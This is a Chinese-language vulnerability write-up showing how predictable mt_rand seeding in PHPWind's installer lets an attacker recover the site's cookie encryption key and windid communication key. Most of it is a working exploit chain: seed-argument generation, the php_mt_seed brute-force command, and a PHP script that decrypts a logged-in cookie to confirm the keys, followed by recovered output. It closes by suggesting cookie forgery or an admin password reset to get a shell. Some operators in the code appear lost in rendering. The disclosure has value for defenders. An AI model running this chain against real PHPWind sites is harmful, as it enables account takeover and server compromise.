PHPWind 密鑰泄露

  1. 發(fā)布時(shí)間:2017-05-10
  2. 公開時(shí)間:N/A
  3. 漏洞類型:信息泄露
  4. 危害等級:高
  5. 漏洞編號:xianzhi-2017-05-94591722
  6. 測試版本:N/A

漏洞詳情

wind/utility/WindUtility.php 115行 generateRandStr函數(shù)

public static function generateRandStr($length) {
        $mtstring = 'AzBy0CxDwEv1FuGtHs2IrJqK3pLoM4nNmOlP5kQjRi6ShTgU7fVeW8dXcY9bZa';
        $randstr = '';
        for ($i = 0; $i < $length; $i++) {
            $randstr .= $mt_string[mt_rand(0, 61)];
        }
        return $randstr;
    }

函數(shù)調(diào)用時(shí)沒有用mt_srand初始化隨機(jī)數(shù)種子 在已知序列且部分mt_rand值可知的情況下 可以爆破seeds 導(dǎo)致所有生成的“隨機(jī)值”可被輕易計(jì)算
安裝時(shí)有3處調(diào)用了generateRandStr函數(shù) 分別是
finishAction中的

$site_hash = WindUtility::generateRandStr(8);
$cookie_pre = WindUtility::generateRandStr(3);

和dataAction中的

$this->_writeWindid();//這個函數(shù)中調(diào)用如下
$key = md5(WindUtility::generateRandStr(10));

安裝時(shí)抓包看調(diào)用順序是data->finish
所以隨機(jī)序列是

mt_rand()10 //$key windid通信密鑰
mt_rand()8  //$site_hash cookie加解密DES密鑰 
mt_rand()3  //$cookie_pre cookie前綴

按這個順序跑了一次php_mt_seeds沒成功 看來安裝的時(shí)候還有別的mt_rand調(diào)用 搜了一下 發(fā)現(xiàn)一個函數(shù)

private function _checkWriteAble($pathfile) {
        if (!$pathfile) return false;
        $isDir = in_array(substr($pathfile, -1), array('/', '\')) ? true : false;
        if ($isDir) {
            if (is_dir($pathfile)) {
                mt_srand((double) microtime()  1000000);
                $pathfile = $pathfile . 'pw' . uniqid(mt_rand()) . '.tmp';
            } elseif (@mkdir($pathfile)) {
                return self::_checkWriteAble($pathfile);
            } else {
                return false;
            }
        }
        @chmod($pathfile, 0777);
        $fp = @fopen($pathfile, 'ab');
        if ($fp === false) return false;
        fclose($fp);
        $isDir && @unlink($pathfile);
        return true;
    }

函數(shù)是用來檢查目錄寫權(quán)限的 可以看到當(dāng)參數(shù)是目錄的時(shí)候 會用mt_srand重置隨機(jī)數(shù) 然后再調(diào)用了一次mt_rand()。
這個函數(shù)調(diào)用的地方不少 但我們不用去管它調(diào)用幾次,因?yàn)橹灰獏?shù)是文件 就不會mt_srand也不會mt_rand
只要參數(shù)是目錄 那么就會mt_srand()+mt_rand()
不管怎么調(diào)用這個函數(shù) 都只需要在最后計(jì)算序列時(shí)加上一次就可以了 而且因?yàn)檫@個函數(shù)的存在 使得我們的seeds范圍大大減小(double)microtime()1000000
重新梳理邏輯
現(xiàn)在隨機(jī)數(shù)序列是這樣

[mt_srand(x)+mt_rand()]N
mt_rand()10 //$key windid通信密鑰
mt_rand()8  //$site_hash cookie加解密DES密鑰 
mt_rand()3  //$cookie_pre cookie前綴

寫個腳本來生成參數(shù)

$mt_string = 'AzBy0CxDwEv1FuGtHs2IrJqK3pLoM4nNmOlP5kQjRi6ShTgU7fVeW8dXcY9bZa';
$cookie_pre = 'JIE'; //cookie_pre
for($i=0;$i<19;$i++){ //1+10+8
    echo "0 0 0 0 ";
}
for($i=0;$i<3;$i++){
    $pos = strpos($mt_string,$cookie_pre[$i]);
    echo "$pos $pos 0 61 ";
}

丟給php_mt_seeds

./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 21 21 0 61 19 19 0 61 9 9 0 61 >1.txt

因?yàn)橹挥?個已知值 所以跑出來的seeds會不少 不過因?yàn)榍懊嬗胢t_srand自己置的seeds 所以在跑完
trying 0 - 33554431 之后就可以ctrl+c停止了
整理下文件

cat 1.txt | awk '{print $3}'|tr -s '\n' >seeds.txt

丟個下一個腳本

<?php
$cookie = urldecode('D%2BTThp3bRjrgqq5uut%2FcE%2FYuevs2Z6Gc%2BsFxOwpn%2BhETDbAPa1%2FTKA%3D%3D');
//登錄后的cookie
$file = fopen("seeds.txt","rb");
$new_seeds = '';
while(!feof($file)){
    $seed = fgets($file);
    mt_srand(intval($seed));
    $pad = mt_rand();
    $key = generateRandStr(10);
    $hash = generateRandStr(8);
    $pre = generateRandStr(3);
    if(check($cookie,$hash)){
        die($seed.$hash."\n".md5($key));
    }
}
function check($cookie,$hash){
    if(decrypt($cookie,$hash)){
        echo "result:".decrypt($cookie,$hash)."\n";
        return true;
    }else{
        return false;
    }
}
function decrypt($str, $key, $iv = '') {
        $size = mcrypt_get_block_size(MCRYPT_DES, MCRYPT_MODE_CBC);
        $iv = substr(md5($iv ? $iv : $key), -$size);
        $str = base64_decode($str);
        @$str = mcrypt_cbc(MCRYPT_DES, $key, $str, MCRYPT_DECRYPT, $iv);
        $pad = ord($str{strlen($str) - 1});
        if ($pad > strlen($str)) return false;
        if (strspn($str, chr($pad), strlen($str) - $pad) != $pad) return false;
        return substr($str, 0, -1  $pad);
}

分分鐘出結(jié)果

result:2 44aef40f6b1629ffa04e8b2b24c12372
263450
Lw0xe4Vt
222abc490d4c50ccc7c07419ba501898

看看我們的配置文件


view.png

接下來 不管是拿hash去玩cookie
還是直接用windid玩用戶 都隨便 直接修改管理員密碼進(jìn)后臺getshell都沒什么問題

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容